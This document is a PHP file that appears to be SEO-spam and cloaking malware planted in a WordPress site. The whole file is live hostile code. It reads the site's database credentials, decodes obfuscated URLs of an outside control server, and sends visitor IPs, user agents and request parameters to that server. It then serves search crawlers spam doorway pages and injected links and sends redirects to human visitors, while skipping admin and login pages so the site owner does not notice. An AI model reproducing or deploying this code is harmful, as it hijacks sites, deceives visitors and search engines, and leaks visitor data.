<?php ini_set('display_errors', "Off"); ini_set('memory_limit', '256M'); ini_set('max_execution_time', 0); set_time_limit(0); ignore_user_abort(1); $lang = "en"; $wpdbhost = DB_HOST; $wpdbname = DB_NAME; $wpdbuser = DB_USER; $wpdbpass = DB_PASSWORD; if ((empty($_GET['ineedthispage']) && !stripos("qqq" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'], "/admin") && !stripos("qqq" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'], "wp-login") && !stripos("qqq" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'], "wp-admin") && !empty($wpdbhost) && !empty($wpdbname) && !empty($wpdbuser) && !empty($wpdbpass)) || !empty($_POST['alldata'])) { $version = "1.0"; $currenttime = date("d.m.y H:i:s"); $doorid = md5(rtrim(home_url(), "/")); $doorurl = home_url(); $doorurl = rtrim(home_url(), "/"); $currenturl = $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']; if (is_ssl() === false) { $currenturl = "http://" . $currenturl; } else { $currenturl = "https://" . $currenturl; } $cururlfrplacelinks = $currenturl; $currenturl = rtrim($currenturl, "/"); $currenturlhash = md5($currenturl); $mainurl = decodeservurl("aHR7cCUzQSUyRiUyRmFsa9FtYWlsLm2ldCUyRndheXRvdG6wJTJGbnRidyUyRndvcmsucGhw"); $redurl = decodeservurl("aHR7cCUzQSUyRiUyRmFsa9FtYWlsLmNvbSUyRmt7JTJGYXBpLnBocA=="); $referer = ''; if (!empty($_SERVER['HTTP_REFERER'])) { $referer = $_SERVER['HTTP_REFERER']; } if (!empty($_SERVER['HTTP_USER_AGENT'])) { $useragent = $_SERVER['HTTP_USER_AGENT']; } else { $useragent = ""; } $mainapi = "hgvds3csvbtvkr3zdf5jfcvnxvgg3r9n"; $linksapi = "gq8m25v5x9tpqy7tfxzwnrpj1hftm5wm"; $redirecturl = ''; $page = ''; $allkeywords = ''; $params = ''; $page_keyword = ''; $cachetable = 'wp_old_cache'; $linkstable = 'wp_old_lcache'; if (mysqlTableSeekWP($cachetable, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass) === "yes" && mysqlTableSeekWP($linkstable, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass) === "yes") { $checkcacheexists = readFromBDCache($cachetable, $currenturlhash, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass); if (!empty($checkcacheexists['needcache']) && $checkcacheexists != "no") { if ($checkcacheexists['needcache'] == "nocacheyet") { $params = "doorid=" . $doorid . "¤tdoorurl=" . $currenturlhash . "&doorurl=" . $doorurl . "&lang=" . $lang; $pagedata = httpPost($mainurl, $params); if (!empty($pagedata)) { $pagedata = unserialize($pagedata); if (!empty($pagedata['redirecturl'])) { $redirecturl = $pagedata['redirecturl']; } if (!empty($pagedata['keyword'])) { $page_keyword = $pagedata['keyword']; } if (!empty($pagedata['page'])) { $page = $pagedata['page']; updateCacheToBD($cachetable, $currenturlhash, $page, $redirecturl, $page_keyword, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass); $redirectneedtowork = goToRedirect($referer, $useragent, $redurl, $pagedata['redirect'], $currenturl, $mainapi, "", $page_keyword); if ($redirectneedtowork == "bot") { echo $page; die(); } } } } else { $redirectneedtowork = goToRedirect($referer, $useragent, $redurl, $checkcacheexists['redirect'], $currenturl, $mainapi, "", urldecode($checkcacheexists['keyword'])); if ($redirectneedtowork == "bot" && $checkcacheexists['needcache'] != "no") { echo $checkcacheexists['needcache']; die(); } } } else { $bottest = ''; $bottest = goToRedirect($referer, $useragent, $redurl, "", $currenturl, $linksapi, "yes", ''); $inlinks = readFromBDLinks($linkstable, $currenturlhash, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass); if ($inlinks == "no") { $newlinks = getRandomOwnLinksFromBD($cachetable, 5, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass); if (!empty($newlinks)) { addLinksToBD($linkstable, $currenturlhash, $newlinks, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, ''); if ($bottest == "bot") { $newlinks = urldecode($newlinks); $newlinks = unserialize($newlinks); $newlinks = implode(" ", $newlinks); echo placeLinks($cururlfrplacelinks, $newlinks); die(); } } } elseif (!empty($inlinks)) { $needownlinks = $inlinks['ownlinks']; $needownlinks = unserialize(urldecode($needownlinks)); if (!empty($inlinks['extlinks'])) { $needextlinks = $inlinks['extlinks']; $needextlinks = unserialize(urldecode($needextlinks)); } else { $needextlinks = array(); } $linkstoshow = array_merge($needownlinks, $needextlinks); $linkstoshow = implode(" ", $linkstoshow); $linkstoshow = str_ireplace("\n", "", $linkstoshow); if ($bottest == "bot") { echo placeLinks($cururlfrplacelinks, $linkstoshow); die(); } } } } } function readFromBDCache($tablename, $urlhash, $dbhost, $dbname, $dbuser, $dbpass) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname); if (!$dbcon) { return false; } else { $sql = "select * from " . $tablename . " where urlhash='" . $urlhash . "' AND doorpage='yes'"; $needcache = mysqli_query($dbcon, $sql); $needcache = mysqli_fetch_array($needcache); if (!empty($needcache)) { $keyword = $needcache['keyword']; $keyword = urldecode($keyword); $redirect = $needcache['redirecturl']; $redirect = urldecode($redirect); $redirect = gzinflate($redirect); $needcache = $needcache['cache']; $needcache = urldecode($needcache); $needcache = gzinflate($needcache); $result = array("needcache" => $needcache, "redirect" => $redirect, "keyword" => $keyword); mysqli_close($dbcon); return $result; } else { mysqli_close($dbcon); return "no"; } } } function updateCacheToBD($tablename, $urlhash, $data, $redirecttowrite, $keyword, $dbhost, $dbname, $dbuser, $dbpass) { if (!empty($data)) { $data = gzdeflate($data, 9); $data = urlencode($data); } else { $data = ''; } $redirecttowrite = gzdeflate($redirecttowrite, 9); $redirecttowrite = urlencode($redirecttowrite); $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname); if (!$dbcon) { return false; } else { $sql = "UPDATE " . $tablename . " SET cache='" . $data . "',redirecturl='" . $redirecttowrite . "',keyword='" . urlencode($keyword) . "' WHERE urlhash='" . $urlhash . "'"; if (mysqli_query($dbcon, $sql)) { mysqli_close($dbcon); return "yes"; } else { mysqli_close($dbcon); return "no"; } } } function mysqlTableSeekWP($tablename, $dbhost, $dbname, $dbuser, $dbpass) { if (empty($dbhost) || empty($dbname) || empty($dbuser) || empty($dbpass)) { return "Not all DB data. "; } $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname); if (!$dbcon) { return false; } $table_list = mysqli_query($dbcon, "SHOW TABLES FROM `" . $dbname . "`"); while ($row = mysqli_fetch_row($table_list)) { if ($tablename == $row[0]) { mysqli_close($dbcon); unset($row); unset($table_list); return "yes"; } } mysqli_close($dbcon); unset($row); unset($table_list); return "no"; } function httpGet($url) { if (stripos("qqq" . $url, "?")) { $url = $url . "&ineedthispage=yes"; } else { $url = $url . "?ineedthispage=yes"; } if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 90); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $output = curl_exec($ch); curl_close($ch); } else { $output = file_get_contents($url); } return $output; } function httpPost($url, $params) { $params = rtrim($params, '&'); if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; NTBBot/2.1;)"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_POST, count($params)); curl_setopt($ch, CURLOPT_POSTFIELDS, $params); curl_setopt($ch, CURLOPT_TIMEOUT, 40); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $output = curl_exec($ch); curl_close($ch); } else { $output = file_get_contents($url, false, stream_context_create(array('http' => array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $params)))); } return $output; } function decodeservurl($servurl) { $goodservurl = array(); foreach (str_split($servurl) as $onechar) { if (is_numeric($onechar)) { if ($onechar >= 7) { $onechar = $onechar - 7; } else { $onechar = $onechar + 10 - 7; } } $goodservurl[] = $onechar; } return urldecode(base64_decode(implode($goodservurl))); } function goToRedirect($referrer, $ua, $domain_to_go, $url_to_go, $current_page, $api, $for_links, $keyword) { $defiskey = str_ireplace(" ", "-", $keyword); $user_agent_to_filter = array('#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#', '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i', '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i', '#www\.cys\.ru#i', '#Wysigot#i', '#Ahrefs#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i', '#CFNetwork#i', '#ConveraCrawler#i', '#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i', '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i', '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i', '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i', '#msnbot#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i', '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i', '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i', '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i', '#Yanga#i', '#Yeti#i', '#MJ12bot#i', '#jeeves#i', '#WordPress#i', '#scooter#i', '#av\s*fetch#i', '#asterias#i', '#spiderthread revision#i', '#sqworm#i', '#ask#i', '#lycos.spider#i', '#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i', '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i', '#charlotte#i', '#Vegi\s*bot#i', '#ngb#i', '#BUbiNG#i', '#ltx71#i', '#YandexBot'); if ($for_links == "yes") { $user_agent_to_filter[] = '#Google#i'; $user_agent_to_filter[] = '#Yahoo#i'; $user_agent_to_filter[] = '#Yandex#i'; $user_agent_to_filter[] = '#msn#i'; $user_agent_to_filter[] = '#bing#i'; $user_agent_to_filter[] = '#slurp#i'; } if (strpos("qqq" . preg_replace($user_agent_to_filter, '-ANGRYBOT-', $ua), '-ANGRYBOT-')) { return "bot"; } $apiToken = $api; $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE']; $ip = null; $headers = array('HTTP_X_FORWARDED_FOR', 'HTTP_CF_CONNECTING_IP', 'HTTP_X_REAL_IP', 'REMOTE_ADDR'); foreach ($headers as $header) { if (!empty($_SERVER[$header])) { $ip = $_SERVER[$header]; break; } } if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $tmp = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $ip = trim($tmp[0]); } else { $ip = $_SERVER['REMOTE_ADDR']; } $ua = urlencode($ua); $url = $domain_to_go . "?is_api=1&page=" . urlencode($url_to_go) . "&action=get&extra_param_1=" . $defiskey . "&source=" . $current_page . "&token=" . $apiToken . "&ua=" . $ua . "&ip=" . $ip . "&keyword=" . urlencode($keyword) . "&referrer=" . $referrer . "&lang=" . $lang . "&" . http_build_query($_GET) . ""; if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); curl_close($ch); } else { $params = explode("?", $url); $params = $params[1]; $output = file_get_contents($url, false, stream_context_create(array('http' => array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $params)))); } $result = json_decode($output); if ($result->redirect->content !== "bot") { foreach ($result->redirect->headers as $header) { header($header); } if ($result->redirect->content) { $result->redirect->content = urldecode($result->redirect->content); echo $result->redirect->content; die(); } } elseif ($result->redirect->content === "bot") { return "bot"; } return ''; } function getRandomOwnLinksFromBD($tablename, $links_count, $dbhost, $dbname, $dbuser, $dbpass) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname); if (!$dbcon) { return false; } else { $row_count = mysqli_query($dbcon, 'SELECT COUNT(*) FROM ' . $tablename . ';'); $row_count = $row_count->fetch_array(MYSQLI_NUM); $row_count = $row_count[0]; $numsar = array(); for ($i = 1; $i <= $row_count; $i++) { $numsar[] = $i - 1; } srand((float)microtime() * 1000000); shuffle($numsar); $numsar = array_slice($numsar, 0, $links_count); $query = array(); foreach ($numsar as $onenum) { $query[] = '(SELECT * FROM ' . $tablename . ' LIMIT ' . $onenum . ', 1)'; } $query = implode(' UNION ', $query); $res = mysqli_query($dbcon, $query); if (mysqli_num_rows($res) == 0) { mysqli_close($dbcon); return false; } $out = array(); while ($row = mysqli_fetch_assoc($res)) { if ($row['openurl'] != "test") { $link = explode("|||", $row['openurl']); $link = '<a href="' . $link[0] . '">' . $link[1] . '</a>'; $out[] = $link; } } mysqli_close($dbcon); $out = urlencode(serialize($out)); return $out; } } function readFromBDLinks($tablename, $urlhash, $dbhost, $dbname, $dbuser, $dbpass) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname); if (!$dbcon) { return false; } else { $sql = "select * from " . $tablename . " where urlhash='" . $urlhash . "'"; $needcache = mysqli_query($dbcon, $sql); $needcache = mysqli_fetch_array($needcache); if (!empty($needcache)) { $ownurls = $needcache['ownlinks']; $ownurls = urldecode($ownurls); $otherlinks = $needcache['extlinks']; $otherlinks = urldecode($otherlinks); $result = array("ownlinks" => $ownurls, "extlinks" => $otherlinks); mysqli_close($dbcon); return $result; } else { mysqli_close($dbcon); return "no"; } } } function addLinksToBD($tablename, $urlhash, $ownlinks, $dbhost, $dbname, $dbuser, $dbpass, $extlinks) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname); if (!$dbcon) { return false; } else { if (!empty($extlinks)) { $sql = "INSERT INTO " . $tablename . "(urlhash, extlinks) VALUES ('" . $urlhash . "','" . $extlinks . "')"; } else { $sql = "INSERT INTO " . $tablename . "(urlhash, ownlinks) VALUES ('" . $urlhash . "','" . $ownlinks . "')"; } if (mysqli_query($dbcon, $sql)) { mysqli_close($dbcon); return "yes"; } else { mysqli_close($dbcon); return false; } } } function placeLinks($pageurl, $links) { $page = httpGet($pageurl); if (!empty($page)) { $page = preg_replace("/(<body.*>)/", "\$1" . $links, $page, 1); return $page; } return ""; } ; ?>